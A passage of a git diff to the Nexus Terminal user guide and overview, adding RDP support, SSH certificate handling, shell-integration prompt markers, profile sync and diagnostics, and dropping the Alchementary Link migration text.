-        \proto[slate]{GitHub}, \proto[rose]{VNC}, \proto[amber]{IRC} or \proto[accent]{Serial}.
+        \proto[slate]{GitHub}, \proto[rose]{VNC}, \proto[rose]{RDP}, \proto[amber]{IRC} or \proto[accent]{Serial}.
   \item Fill in the \ui{General} bit: a \ui{Display Name} you'll recognise, the \ui{Host}, the \ui{Port}
         and your \ui{Username}.
   \item Click \ui{Create \& Connect}.

docs/guide/chapters/part2-connect.tex

@@ -1,9 +1,10 @@
 \guidepart{teal}{Connect}{Connect to all the things}
-  {Eight ways in. Pick the one you need; skip the rest.}
+  {Nine ways in. Pick the one you need; skip the rest.}
   {\partitem{\iTerminal}{SSH: the big one}
    \partitem{\iUsb}{Serial: cables and consoles}
    \partitem{\iPlug}{Telnet and RAW TCP}
    \partitem{\iDesktop}{VNC remote desktops}
+   \partitem{\iDesktop}{RDP: Windows desktops}
    \partitem{\iChat}{IRC}
    \partitem{\iGithub}{GitHub}}
 
@@ -47,6 +48,10 @@ Under \ui{Authentication}, tick which \ui{Auth Methods} to try: \ui{Public key},
 \ui{Keyboard-interactive}. Under \ui{SSH Agent}, tick \ui{Use SSH Agent for Authentication} to use keys already
 loaded into \code{ssh-agent} (or Pageant, or the Windows OpenSSH agent).
 
+Got an SSH \emph{user certificate}? Put it next to the key with the usual name (\code{id\_ed25519-cert.pub} beside
+\code{id\_ed25519}) and Nexus Terminal presents it automatically. Servers that hand out \emph{host} certificates are
+covered in \hyperref[ch:hostkeys]{Host keys} (p.\,\pageref{ch:hostkeys}).
+
 Every password and passphrase has a \emph{mode}: save it securely, remember it until you quit, or ask every time.
 That's all explained in \hyperref[ch:secrets]{Passwords \& the vault} (p.\,\pageref{ch:secrets}).
 
@@ -221,6 +226,60 @@ Turn on \ui{VNC viewers may control screen with password} in macOS Screen Sharin
 standard VNC password authentication, not Apple's own login method.
 \end{headsup}
 
+% =========================================================================================
+\chapter{RDP: Windows desktops}\label{ch:rdp}
+\chapmeta{4 minutes}{You'll be on a Windows (or xrdp) desktop without leaving Nexus Terminal}
+
+\begin{tldr}
+Host, username, password. Nexus Terminal logs on with NLA, pins the server's certificate like an SSH host key, and
+can go through a proxy, an SSH tunnel or an RD Gateway.
+\end{tldr}
+
+\begin{glance}{rose}{RDP}
+  Default port & 3389\\
+  Logs in with & NLA (NTLM, or Kerberos with a KDC); \ui{Allow servers without NLA} for xrdp\\
+  Display      & \ui{Scale to Fit}, fixed size, \ui{Resize With Tab}\\
+  Extras       & Clipboard both ways, remote audio, printer, shared folder\\
+  Getting there & SOCKS5 or HTTP proxy, SSH tunnel, RD Gateway (experimental)\\
+\end{glance}
+
+\shot{rdp.png}{An xrdp desktop in a tab. Ctrl+Alt+Del and Paste Clipboard sit on the toolbar.}
+
+\section{Setting it up}
+
+\begin{enumerate}
+  \item \keys{\mod+N}, protocol \proto[rose]{RDP}.
+  \item \ui{Host} and \ui{Username}; add a \ui{Domain} if your account has one.
+  \item Pick how the password is kept (save it, remember it until you quit, or ask every time).
+  \item \ui{Create \& Connect}. The first time, you're shown the server's certificate fingerprint. Accept it if
+        it's the machine you meant.
+\end{enumerate}
+
+Windows checks your password \emph{before} it builds a desktop (Network Level Authentication), so a typo fails fast.
+Linux machines running xrdp don't speak NLA: tick \ui{Allow servers without NLA} for those. In an Active Directory
+shop, set a \ui{Kerberos KDC} (\code{host} or \code{host:port}) and use your realm as the domain.
+
+\begin{headsup}[A changed certificate]
+RDP servers mostly use self-signed certificates, so Nexus Terminal remembers the fingerprint in
+\ui{Known Hosts}. If it changes you get \ui{Reject}, \ui{Accept Once} or \ui{Accept \& Update}, and nothing (not even your
+password) is sent until you choose.
+\end{headsup}
+
+\section{While you're connected}
+
+It works like the VNC viewer: click the desktop to give it your keyboard, \ui{Ctrl+Alt+Del} sends exactly that, and
+text you copy on either side turns up on the other. With \ui{Resize With Tab} the remote desktop follows the tab's
+size (Windows does this; other servers are scaled).
+
+Under \ui{Devices}: \ui{Play Remote Audio}; \ui{Redirect Printer}, which adds a \emph{Nexus Terminal} printer whose jobs
+land as PostScript files in your Downloads folder; and (Linux and macOS) a \ui{Shared Folder} that shows up remotely as
+a drive called Nexus. The server can read and change that folder, and nothing outside it.
+
+\section{Getting through}
+
+Pick \emph{one} of: a \ui{Proxy} (SOCKS5 or HTTP CONNECT), an \ui{SSH Tunnel} (same as VNC), or an \ui{RD Gateway}
+(experimental: the gateway needs a proper public certificate and Basic authentication over HTTPS).
+
 % =========================================================================================
 \chapter{IRC}\label{ch:irc}
 \chapmeta{3 minutes}{You'll be chatting in your project's channels from the same window as your servers}
@@ -231,7 +290,8 @@ Nick, server, rooms to join. Tabs for each room, \code{/commands} as you'd expec
 
 \begin{glance}{amber}{IRC}
   Default port & 6667, or 6697 with \ui{Use TLS} (use TLS!)\\
-  Extras       & NickServ identify on connect, auto-join rooms, room browser, SSH tunnel\\
+  Logs in with & SASL PLAIN (most networks want this now), or NickServ identify\\
+  Extras       & Auto-join rooms, room browser, real message times (IRCv3 server-time), SSH tunnel\\
 \end{glance}
 
 \shot{irc.png}{Chatting in \#nexus. Rooms down the right, users in the room below them.}

docs/guide/chapters/part3-faster.tex

@@ -30,7 +30,9 @@ Right-click a tab for everything. \keys{\mod+Shift+D} splits right, \keys{\mod+S
   \item[Switch] \keys{\mod+Tab} and \keys{\mod+Shift+Tab}, or \keys{\mod+1} to \keys{\mod+9}.
 \end{description}
 
-Lots of tabs? Scroll the tab strip with your mouse wheel or trackpad.
+Lots of tabs? Scroll the tab strip with your mouse wheel or trackpad. Quit with a dozen open and they're all back next
+time: \ui{Restore tabs at launch} (on by default) reconnects saved profiles and reopens local shells, splits and all,
+in the folder they were in.
 
 \section{Split panes}
 
@@ -62,9 +64,10 @@ Select to copy, \keys{\mod+F} to search, Ctrl/\ph{E1C4}-click links. Right-click
   \toprule
   Copy   & Select text, then \keys{\mod+C}. Nothing selected? \keys{Ctrl+C} interrupts the program as usual.\\
   Paste  & \keys{\mod+V}. Pastes are bracketed when the program asks for it, so editors won't auto-indent your paste
-           into a staircase.\\
+           into a staircase. Pasting several lines into a shell asks first (turn that off in Settings).\\
   Select & Drag for a range, double-click a word, triple-click a line, \kbd{Shift}-click to extend.\\
-  Links  & Hold \kbd{Ctrl} (\kbd{\ph{E1C4}}) and click a URL to open it in your browser.\\
+  Links  & Hold \kbd{Ctrl} (\kbd{\ph{E1C4}}) and click a URL to open it in your browser. Real hyperlinks that
+           programs print (\code{ls --hyperlink}, compilers) get a dotted underline; hover to see where they really go.\\
   Scroll & Mouse wheel, or \keys{Shift+PageUp}, \keys{Shift+PageDown}, \keys{Shift+Home}, \keys{Shift+End}.\\
   \bottomrule
 \end{tabularx}
@@ -77,8 +80,34 @@ wheel sends arrow keys instead of scrolling. Programs with mouse support (\code{
 
 \section{The right-click menu}
 
-\ui{Copy}, \ui{Paste}, \ui{Select All}, \ui{Find}, \ui{Send Snippet}, \ui{Port Forwards} (SSH), \ui{Split Right},
-\ui{Split Down}, \ui{Export Output} (saves the whole scrollback as a text file), \ui{Clear} and \ui{Reset}.
+\ui{Copy}, \ui{Paste}, \ui{Select All}, \ui{Find}, \ui{Previous Prompt} / \ui{Next Prompt}, \ui{Copy Last Command
+Output}, \ui{Send Snippet}, \ui{Port Forwards} (SSH), \ui{Split Right}, \ui{Split Down}, \ui{Export Output} (saves the
+whole scrollback as a text file), \ui{Clear} and \ui{Reset}.
+
+\section{Shell integration}
+
+If your shell marks its prompts (fish 4, Starship and Powerlevel10k do already), Nexus Terminal knows where every
+command starts and stops. \keys{\mod+Shift+Up} and \keys{\mod+Shift+Down} jump from prompt to prompt,
+\ui{Copy Last Command Output} grabs just what the last command printed, and a thin bar beside each prompt shows how it
+went: green for success, red for failure. Hover the bar for the exit code and how long it took.
+
+\shot{shell-integration.png}{\code{make test} failed (red bar), \code{ls} worked (green bar).}
+
+For bash, add this to \code{\textasciitilde/.bashrc} on the machine the shell runs on (the user manual has the zsh
+version):
+
+\begin{verbatim}
+PS0='\[\e]133;C\a\]'
+PROMPT_COMMAND='printf "\033]133;D;%s\007" "$?"; '"${PROMPT_COMMAND}"
+PS1='\[\e]133;A\a\]'"$PS1"'\[\e]133;B\a\]'
+\end{verbatim}
+
+\section{Pictures in the terminal}
+
+Programs that print images the iTerm2 way (\code{imgcat}, \code{wezterm imgcat}, \code{chafa -f iterm}) show PNG,
+JPEG and GIF images right in the scrollback. They scroll with the text and never spill past the edge.
+
+\shot{inline-image.png}{An image printed by a script, with the text carrying on underneath.}
 
 \section{Find}
 
@@ -168,7 +197,8 @@ Click the \iFolder{} on an SSH tab. Or drop a file onto the terminal and choose
 \section{The SFTP browser}
 
 Click the \iFolder{} folder icon on an SSH tab, \menu{Session\then SFTP browser}, or type ``sftp'' in the palette.
-It opens in the side dock next to your terminal.
+It opens in the side dock next to your terminal, in the folder your shell is in if the shell reports it
+(fish does; bash and zsh need a one-line hook, see the user manual).
 
 \shot{sftp.png}{Browsing the server's files next to the terminal.}
 

docs/guide/chapters/part4-safe.tex

@@ -72,6 +72,12 @@ Every password, passphrase, token or TOTP secret has its own setting:
 When Nexus Terminal needs a secret it doesn't have, it asks. Press \kbd{Esc} or \ui{Cancel} to give up on that
 connection.
 
+\section{Seeing and changing what's saved}
+
+\ui{Stored credentials} on the Security page lists every saved password, passphrase and token by profile, and whether
+it's in the keychain or the vault. \ui{Forget} deletes one. \ui{Change Master Password…} re-encrypts the whole vault
+under a new password in one go.
+
 \begin{sidequest}[What gets written down?]
 Connections, disconnections, profile changes, credential access, imports and exports go into an audit log in the
 database. Secrets themselves never do. TOTP secrets live in the keychain or vault too, never in the profile.
@@ -82,7 +88,7 @@ database. Secrets themselves never do. TOTP secrets live in the keychain or vaul
 \chapmeta{3 minutes}{You'll understand the scary fingerprint dialog and what to do about it}
 
 \begin{tldr}
-Every SSH server has a fingerprint. Nexus Terminal remembers it the first time and shouts if it ever changes.
+Every SSH server (and every RDP server, via its certificate) has a fingerprint. Nexus Terminal remembers it the first time and shouts if it ever changes.
 A changed fingerprint means a reinstalled server, or someone in the middle. Find out which before carrying on.
 \end{tldr}
 
@@ -92,20 +98,30 @@ Pick a policy per SSH profile under \ui{Host Verification}:
 \begin{tabularx}{\linewidth}{@{}>{\leavevmode\heavy\color{ink}}p{48mm}X@{}}
   \toprule
   Strict (known hosts only)   & Only connects to servers you've already trusted.\\
-  Ask on new or changed keys  & Shows the fingerprint and asks. \ui{Accept \& Save} or \ui{Reject}. The default.\\
+  Ask on new or changed keys  & Shows the fingerprint and asks. New: \ui{Accept \& Save} or \ui{Reject}. Changed:
+                                \ui{Reject}, \ui{Accept Once} or \ui{Accept \& Update}. The default.\\
   Accept new, reject changed  & Trusts first-time servers silently, still refuses changed keys.\\
   Insecure (accept anything)  & Exactly what it says. Lab use only.\\
   \bottomrule
 \end{tabularx}
 
-Under every policy except \emph{Insecure}, a key that differs from the saved one is rejected.
+Under \emph{Strict} and \emph{Accept new}, a key that differs from the saved one is rejected outright.
 
 \crop{settings-knownhosts.png}{581}{253}{576}{285}{0.8\linewidth}{Known hosts. Click a fingerprint to copy it; \ui{Remove} to forget a server.}
 
-\begin{headsup}
-Nexus Terminal keeps its own list of known hosts. It doesn't read \code{\textasciitilde/.ssh/known\_hosts}, so the
-first connection to each server asks once, even if your command-line \code{ssh} already knows it.
-\end{headsup}
+\begin{quickwin}
+Nexus Terminal keeps its own list, but \ui{Import \textasciitilde/.ssh/known\_hosts} brings in everything your
+command-line \code{ssh} already trusts (hashed names can't be read back, so those are skipped). \ui{Export…} goes the
+other way, in OpenSSH format.
+\end{quickwin}
+
+\section{Certificate authorities}
+
+Big estates sign host keys with an SSH certificate authority instead of handing out fingerprints. \ui{Trust a CA…}
+adds the CA's public key for a host pattern in OpenSSH style (\code{*.corp.example}, \code{[jump.example]:2222},
+\code{!old.corp.example}); \code{@cert-authority} lines in an imported \code{known\_hosts} do the same. A server the CA
+covers must then show a certificate the CA signed, naming that host and in date. It's trusted without a prompt, and
+anything else is refused.
 
 % =========================================================================================
 \chapter{SSH keys}\label{ch:keys}
@@ -118,6 +134,6 @@ public key to the clipboard (ready to paste into GitHub or \code{authorized\_key
 \crop{keys.png}{725}{523}{725}{546}{0.75\linewidth}{The SSH key manager.}
 
 \begin{protip}
-Not sure which type? Pick Ed25519. It's small, fast and secure. Key generation uses your system's
-\code{ssh-keygen}, which comes with macOS, Linux and Windows 10 and later.
+Not sure which type? Pick Ed25519. It's small, fast and secure. Keys are generated inside Nexus Terminal and
+saved in the usual OpenSSH format, so \code{ssh} and \code{git} can use them too.
 \end{protip}

docs/guide/chapters/part5-yours.tex

@@ -1,5 +1,5 @@
 \guidepart{pink}{Make it yours}{Make it yours}
-  {Settings, backups, and moving in from Alchementary Link.}
+  {Settings, backups, and keeping several computers in step.}
   {\partitem{\iGear}{Settings}
    \partitem{\iUpload}{Import and export}
    \partitem{\iPlane}{Moving house}}
@@ -14,18 +14,24 @@ then click \ui{Save}.
 \begin{center}\begin{minipage}[t]{0.49\linewidth}\crop{settings-general.png}{581}{253}{576}{285}{\linewidth}{General}\end{minipage}\hfill\begin{minipage}[t]{0.49\linewidth}\crop{settings-terminal.png}{581}{253}{576}{285}{\linewidth}{Terminal}\end{minipage}\end{center}
 
 \begin{description}
-  \item[General] App theme (Pro, Midnight, Light), default protocol for new profiles, whether to ask before closing or
-        disconnecting, status bar on or off, sidebar width, and the local shell (leave it empty for the system default,
-        or \ui{Browse…} for one).
+  \item[General] App theme (Pro, Midnight, Light), default protocol for new profiles, \ui{Restore tabs at launch}
+        (saved connections reconnect, local shells reopen in the folder they were in), whether to ask before closing or
+        disconnecting, whether remote programs may write to your clipboard, a confirmation before pasting several lines,
+        the update check, status bar, sidebar width, and the local shell (empty for the system default, or
+        \ui{Browse…}).
   \item[Terminal] Colour scheme, font, size, scrollback and cursor style. These are the defaults for new profiles;
         each profile can override them.
-  \item[Security] Keychain and vault status; set up, unlock or lock the vault.
-  \item[Known Hosts] Saved server fingerprints, with first-seen and last-seen times.
+  \item[Security] Keychain and vault status; set up, unlock or lock the vault; change the master password; your
+        stored credentials; profile sync.
+  \item[Known Hosts] Saved server fingerprints, with first-seen and last-seen times; import and export
+        \code{known\_hosts}; trusted SSH certificate authorities.
+  \item[Diagnostics] Version, platform, where your data and log live, and the state of the keychain, vault and sync.
+        \ui{Copy Diagnostics} for bug reports (never includes credentials).
   \item[Help] Built-in help: connection types, shortcuts and troubleshooting, when this guide isn't to hand.
   \item[About] Version, \ui{Check for Updates} and \ui{Import \textasciitilde/.ssh/config}.
 \end{description}
 
-\crop{settings-help.png}{581}{253}{576}{285}{0.8\linewidth}{The built-in help, for when this guide isn't to hand.}
+\crop{settings-diagnostics.png}{604}{600}{604}{20}{0.8\linewidth}{Diagnostics: everything a bug report needs, nothing secret.}
 
 \section{Updates}
 
@@ -44,48 +50,58 @@ reads it back. Already have an \code{\textasciitilde/.ssh/config}? Import that t
 \begin{description}
   \item[Encrypted export] Choose the profiles, set a password, save a \code{.nexus} file. Saved passwords aren't
         included, so the file is safe to email to yourself.
-  \item[Encrypted import] Pick a \code{.nexus} (or an old \code{.link}) file, enter its password and decide what happens to
+  \item[Encrypted import] Pick a \code{.nexus} file, enter its password and decide what happens to
         profiles that already exist: \ui{Skip existing}, \ui{Overwrite existing} or \ui{Create duplicates}.
   \item[JSON] \ui{Export Profiles (JSON)} and \ui{Import Profiles (JSON)} are in the palette. Tick
-        \ui{Include secrets} to keep proxy passwords and TOTP secrets, which are otherwise left out.
+        \ui{Include secrets} to keep passwords typed by login scripts, which are otherwise blanked. Proxy passwords and
+        TOTP secrets live in the keychain or vault, so no export carries them.
   \item[OpenSSH config] \menu{File\then Import \textasciitilde/.ssh/config} turns your \code{Host} blocks into profiles,
         with host names, users, ports, identity files and jump hosts.
 \end{description}
 
-\crop{export.png}{894}{357}{872}{380}{0.55\linewidth}{Exporting profiles. Everything's ticked to start with; untick what you don't want.}
+\crop{export.png}{906}{388}{904}{390}{0.55\linewidth}{Exporting profiles. Everything's ticked to start with; untick what you don't want.}
 
 \begin{danger}[JSON with secrets is not encrypted]
-A JSON export with \ui{Include secrets} ticked has those secrets in plain text. Use the encrypted \code{.nexus} export to
+A JSON export with \ui{Include secrets} ticked has those login-script passwords in plain text. Use the encrypted \code{.nexus} export to
 move things between machines.
 \end{danger}
 
 % =========================================================================================
 \chapter{Moving house}\label{ch:move}
-\chapmeta{2 minutes}{You'll know what came over from Alchementary Link and what didn't}
+\chapmeta{3 minutes}{Your connections will follow you from laptop to desktop to work machine}
 
 \begin{tldr}
-It's automatic. First run copies your Alchementary Link profiles, vault and recordings. Your old folder is left
-alone. Recreate trigger rules and SFTP bookmarks by hand.
+Pick a folder every machine can see, set the same sync password on each, done. Profiles stay in step; passwords
+stay put on each machine.
 \end{tldr}
 
-When Nexus Terminal starts for the first time and finds an \code{AlchementaryLink} folder next to where its own data
-goes, it \emph{copies} \code{link.db} to \code{nexus.db}, along with the \code{vault/} and \code{recordings/} folders,
-and shows a toast saying where they came from.
+\section{Profile sync}
+
+\menu{Settings\then Security\then Profile sync}. \ui{Choose…} a folder your machines share (Dropbox, iCloud Drive,
+OneDrive, Nextcloud, a network share, or a git checkout you commit) and set the same \ui{Sync password} everywhere.
+Nexus Terminal keeps one encrypted file there, \code{nexus-profiles.nexus}, and merges it at launch, a few seconds
+after you change a profile, every ten minutes and whenever you click \ui{Sync Now}.
 
 \begin{checklist}
-  \item[\color{green}\iCheck] Profiles, groups, favourites, known hosts, snippets and preferences
-  \item[\color{green}\iCheck] Vault (same master password as before)
-  \item[\color{green}\iCheck] Recordings
-  \item[\color{green}\iCheck] Keychain passwords: picked up the first time each one is needed, then copied across
-  \item[\color{green}\iCheck] Old \code{.link} export files still import
-  \item[\color{rose}\ph{E4F6}] Trigger rules and SFTP bookmarks (they lived in the old app's web storage)
+  \item[\color{green}\iCheck] Edited on two machines? The newer change wins, profile by profile.
+  \item[\color{green}\iCheck] Deleted on one machine? It goes from the others too (unless someone edited it afterwards).
+  \item[\color{rose}\ph{E4F6}] Saved passwords, keys and tokens never sync. Each machine keeps its own in its keychain or vault.
+        (Anything a login script \emph{sends} is part of the profile, so that does travel.)
 \end{checklist}
 
+\crop{settings-security.png}{581}{253}{576}{285}{0.8\linewidth}{Profile sync lives on the Security page, under your stored credentials.}
+
 \begin{headsup}
-If a \code{NexusTerminal/nexus.db} already exists (say, from before the Alchementary Link rebrand), it's used as it is
-and nothing is copied.
+Lose the sync password and the sync file can't be read, just like an encrypted export. Your local profiles are
+fine.
 \end{headsup}
 
+\section{One-off moves}
+
+Not worth setting up sync? \menu{File\then Export profiles…} on the old machine, \menu{File\then Import profiles…}
+on the new one (see \hyperref[ch:transfer]{Import and export}). Known hosts travel the same way through
+\ui{Export…} and \ui{Import} on the Known Hosts page.
+
 \section{Where everything lives}
 
 \renewcommand\arraystretch{1.45}
@@ -98,7 +114,8 @@ and nothing is copied.
 \end{tabularx}
 
 Inside: \code{nexus.db} (profiles, known hosts, preferences, snippets, IRC state and the audit log),
-\code{vault/vault.json}, \code{recordings/}, \code{triggers.json} and \code{sftp-bookmarks.json}. Keychain entries are
+\code{vault/vault.json}, \code{recordings/}, \code{triggers.json}, \code{sftp-bookmarks.json} and \code{nexus.log}, the
+diagnostic log. Keychain entries are
 stored under the service name \code{NexusTerminal}.
 
 \begin{protip}[Try things without touching your real data]

docs/guide/chapters/part6-fix.tex

@@ -25,7 +25,8 @@ password, or the baud rate.
 \fix{``Host key verification failed''}{%
 The server's fingerprint changed since you last connected. That happens when a server is rebuilt, but it's also exactly
 what an attack looks like. \textbf{Check with whoever runs the server.} If it's legitimate:
-\menu{Settings\then Known Hosts}, \ui{Remove} the entry, reconnect and accept the new key.}
+choose \ui{Accept \& Update} in the warning (or \ui{Accept Once} to defer the decision). Under a Strict or Accept-new
+policy there's no prompt: \menu{Settings\then Known Hosts}, \ui{Remove} the entry and reconnect.}
 
 \fix{It just says ``Connecting…'' forever}{%
 \begin{itemize}
@@ -61,6 +62,15 @@ Check the network and the credentials, then the profile's auto-reconnect setting
   \item Connecting to a Mac? Turn on password access in macOS Screen Sharing settings (see p.\,\pageref{ch:vnc}).
 \end{itemize}}
 
+\fix{RDP won't connect}{%
+\begin{itemize}
+  \item Linux box running xrdp? Tick \ui{Allow servers without NLA}.
+  \item ``Logon failed''? Check the domain. Kerberos users: the KDC must be reachable directly, not through the proxy.
+  \item Certificate warning after a server rebuild? That's expected once; compare the fingerprint, then
+        \ui{Accept \& Update}.
+  \item Going through an RD Gateway? It needs a certificate from a public CA and Basic authentication over HTTPS.
+\end{itemize}}
+
 \section{Files}
 
 \fix{Upload is greyed out or fails}{%
@@ -86,3 +96,11 @@ normally.}
 Start Nexus Terminal with \code{--data-dir} pointing at an empty folder and try the same connection there. If it
 works, something in your profile is off; duplicate the working one and compare.
 \end{quickwin}
+
+\section{Still stuck?}
+
+\fix{Something odd that isn't on this list}{%
+Look at \code{nexus.log} in your data folder (\menu{Settings\then Diagnostics} shows where): connections, reconnects,
+host-key checks and errors, never passwords or what's on screen. Start Nexus Terminal with \code{RUST\_LOG=debug} for
+more detail. Reporting a bug? \ui{Copy Diagnostics} and paste it in.}
+

docs/guide/nexus-guide.sty

@@ -194,7 +194,7 @@
     before skip=6pt, after skip=12pt, fontupper=\small,
     overlay={\node[anchor=north east, font=\heavy\tiny, text=#1!80!black, inner sep=8pt] at (frame.north east) {AT A GLANCE};}]
   {\heavy\Large\color{#1!85!black}#2}\par\vspace{4pt}
-  \renewcommand\arraystretch{1.35}\begin{tabular}{@{}>{\leavevmode\color{muted}}p{0.24\linewidth}p{0.72\linewidth}@{}}}
+  \renewcommand\arraystretch{1.35}\begin{tabular}{@{}>{\leavevmode\color{muted}}p{0.24\linewidth}>{\leavevmode}p{0.72\linewidth}@{}}}
   {\end{tabular}\end{tcolorbox}}
 
 % --- Headings --------------------------------------------------------------------------

docs/guide/nexus-guide.tex

@@ -3,7 +3,7 @@
 \usepackage{nexus-guide}
 
 \hypersetup{pdftitle={Nexus Terminal: The User Guide}, pdfauthor={Andy Dixon},
-  pdfsubject={SSH, Telnet, RAW, Serial, VNC, IRC and GitHub in one native app}}
+  pdfsubject={SSH, Telnet, RAW, Serial, VNC, RDP, IRC and GitHub in one native app}}
 
 \begin{document}
 \frontmatter
@@ -29,13 +29,13 @@
     {Every terminal you need. One window.\\Zero faff.};
   \node[anchor=north west, text=white!65!ink, font=\normalsize, text width=150mm]
     at ([xshift=22mm, yshift=-110mm]pg.north west)
-    {SSH\enspace·\enspace Telnet\enspace·\enspace RAW TCP\enspace·\enspace Serial\enspace·\enspace VNC\enspace·\enspace IRC\enspace·\enspace GitHub\enspace·\enspace Local shells};
+    {SSH\enspace·\enspace Telnet\enspace·\enspace RAW TCP\enspace·\enspace Serial\enspace·\enspace VNC\enspace·\enspace RDP\enspace·\enspace IRC\enspace·\enspace GitHub\enspace·\enspace Local shells};
   \node[anchor=south west, inner sep=0pt] at ([xshift=22mm, yshift=22mm]pg.south west)
     {\begin{tikzpicture}
       \node[inner sep=0pt, draw=white!25!ink, line width=0.6pt, rounded corners=4pt] {\includegraphics[width=166mm]{img/ssh.png}};
     \end{tikzpicture}};
   \node[anchor=south east, text=white!55!ink, font=\footnotesize, align=right]
-    at ([xshift=-22mm, yshift=24mm]pg.south east) {Version 0.1\\October 2026\\dixon.cx};
+    at ([xshift=-22mm, yshift=24mm]pg.south east) {Version 3.0.2\\October 2026\\dixon.cx};
 }\null
 \cleardoublepage
 
@@ -61,7 +61,7 @@ what you'll be able to do afterwards, and a \textbf{TL;DR} if you only want the
   …copy files to and from a server & \hyperref[ch:files]{Files}, p.\,\pageref{ch:files}\\
   …type the same thing into ten servers at once & \hyperref[ch:repeat]{Never type it twice}, p.\,\pageref{ch:repeat}\\
   …keep my passwords safe & \hyperref[ch:secrets]{Passwords \& the vault}, p.\,\pageref{ch:secrets}\\
-  …move over from Alchementary Link & \hyperref[ch:move]{Moving house}, p.\,\pageref{ch:move}\\
+  …keep two computers in step & \hyperref[ch:move]{Moving house}, p.\,\pageref{ch:move}\\
   …fix something that's broken & \hyperref[part:fix]{When things go wrong}, p.\,\pageref{ch:trouble}\\
   …just see the keyboard shortcuts & \hyperref[app:keys]{The cheat sheet}, p.\,\pageref{app:keys}\\
   \bottomrule

docs/guide/tools/demo-shell.sh

@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright (C) 2026 Andy Dixon
 # ForceCommand for the throwaway screenshot sshd: never a login shell (no ~/.profile, no byobu).
 DEMO_HOME=$1 SFTP_SERVER=$2
 export LC_ALL=C.UTF-8

docs/guide/tools/fakes.py

@@ -1,4 +1,6 @@
 #!/usr/bin/env python3
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright (C) 2026 Andy Dixon
 """Tiny fake servers for the user-guide screenshots: RAW sensor feed (42023), IRC (42667),
 GitHub API (42080) and a VNC desktop (42900). Stdlib only. Runs until killed."""
 

docs/guide/tools/screenshots.sh

@@ -1,4 +1,6 @@
 #!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright (C) 2026 Andy Dixon
 # Regenerates docs/guide/img/*.png: a throwaway sshd (ForceCommand, never a login shell),
 # fake RAW/IRC/GitHub/VNC servers, a demo data directory, then one headless app run per shot.
 # Needs: xvfb-run, sshd, ssh-keygen, python3, ImageMagick. Usage: docs/guide/tools/screenshots.sh [shot...]
@@ -90,9 +92,10 @@ shot editor-serial    --open editor:serial
 shot editor-telnet    --open editor:telnet
 shot editor-raw       --open editor:raw
 shot editor-vnc       --open editor:vnc
+shot editor-rdp       --open editor:rdp
 shot editor-irc       --open editor:irc
 shot editor-github    --open editor:github
-for t in general terminal security knownhosts help about; do shot "settings-$t" --open "settings:$t"; done
+for t in general terminal security knownhosts diagnostics help about; do shot "settings-$t" --open "settings:$t"; done
 shot keys             --open keys
 shot snippets         --open snippets
 shot triggers         --open triggers

docs/overview.md

@@ -1,6 +1,6 @@
 # Nexus Terminal Overview
 
-Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in.
+Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in.
 
 It is a single Rust application drawn with egui: there is no webview, no bundled browser engine and no runtime to install. Terminal output goes straight from the network into the terminal emulator, so large outputs stay responsive.
 
@@ -25,7 +25,7 @@ Use Nexus Terminal when you need to:
 - **Telnet** for legacy devices and services.
 - **RAW TCP** for direct socket interaction, protocol testing and device troubleshooting.
 - **Serial** for USB-serial adapters, console cables, development boards and network gear.
-- **VNC** for remote desktop access, with a native viewer.
+- **VNC** and **RDP** for remote desktop access, with native viewers.
 - **IRC** for chat networks, with rooms, users and an optional SSH tunnel.
 - **GitHub** for repository browsing and download workflows.
 - **Local terminal** for opening a shell on the local machine.
@@ -41,7 +41,8 @@ Use Nexus Terminal when you need to:
 - Multi-select profiles with Ctrl/Cmd-click for bulk connect, disconnect, tagging, moving between groups and deleting.
 - Test basic host and port reachability before connecting.
 - Import existing OpenSSH config entries from `~/.ssh/config`, including hostnames, usernames, ports, identity files and jump hosts.
-- Export and import profiles using encrypted `.nexus` bundles; older `.link` bundles from Alchementary Link import too.
+- Sync profiles between machines through any shared folder, as one encrypted file (newest change wins; deletions propagate; credentials stay local).
+- Export and import profiles using encrypted `.nexus` bundles.
 - Plain JSON export and import, with secrets redacted unless you choose to include them.
 - Choose import behaviour for duplicates: skip, overwrite or duplicate.
 
@@ -69,14 +70,20 @@ Use Nexus Terminal when you need to:
 - Find in terminal output, with case-sensitive and regular-expression options and a match counter.
 - Copy with Ctrl/Cmd+C when text is selected (otherwise it sends an interrupt), paste with Ctrl/Cmd+V.
 - Double-click selects a word, triple-click selects a line, Shift-click extends a selection.
-- Ctrl/Cmd-click a web link to open it in your browser.
+- Ctrl/Cmd-click a web link to open it in your browser, including OSC 8 hyperlinks (from `ls --hyperlink`, `git`, compilers…), which are underlined with a dotted line and show their real target on hover. Only http(s) links open.
 - Shift+PageUp/PageDown/Home/End and the mouse wheel scroll the scrollback; on the alternate screen the wheel sends arrow keys, so `tmux`, `screen` and `byobu` scroll naturally.
 - Context menu with Copy, Paste, Select All, Find, Send Snippet, Port Forwards, Split Right, Split Down, Export Output, Clear and Reset.
 - Export the whole scrollback as plain text.
+- Tabs and split panes are restored at the next launch: connections reconnect and local shells reopen in their last directory.
+- Inline images in the iTerm2 format (`imgcat`, `wezterm imgcat`, `chafa -f iterm`…): PNG, JPEG and GIF, sized in cells, pixels or percent, scrolling with the text.
+- Shell integration (OSC 133): jump between prompts, copy the last command's output, and see each command's exit status and duration beside its prompt.
 - Status-bar latency for the active SSH session.
+- Settings → Diagnostics summarises versions, paths, credential storage and sync status for bug reports; Settings → Security lists stored credentials per profile and changes the vault master password.
 
 ### SSH capabilities
 
+- SSH certificates: host certificates from trusted CAs (by OpenSSH host pattern) skip the first-use prompt; user certificates (`*-cert.pub`) are used for login.
+- Import and export `~/.ssh/known_hosts`, including `@cert-authority` lines.
 - Password, public key, keyboard-interactive and SSH agent authentication.
 - SSH agent forwarding.
 - Private key suggestions from `~/.ssh`, with a key file check.
@@ -140,6 +147,16 @@ Use Nexus Terminal when you need to:
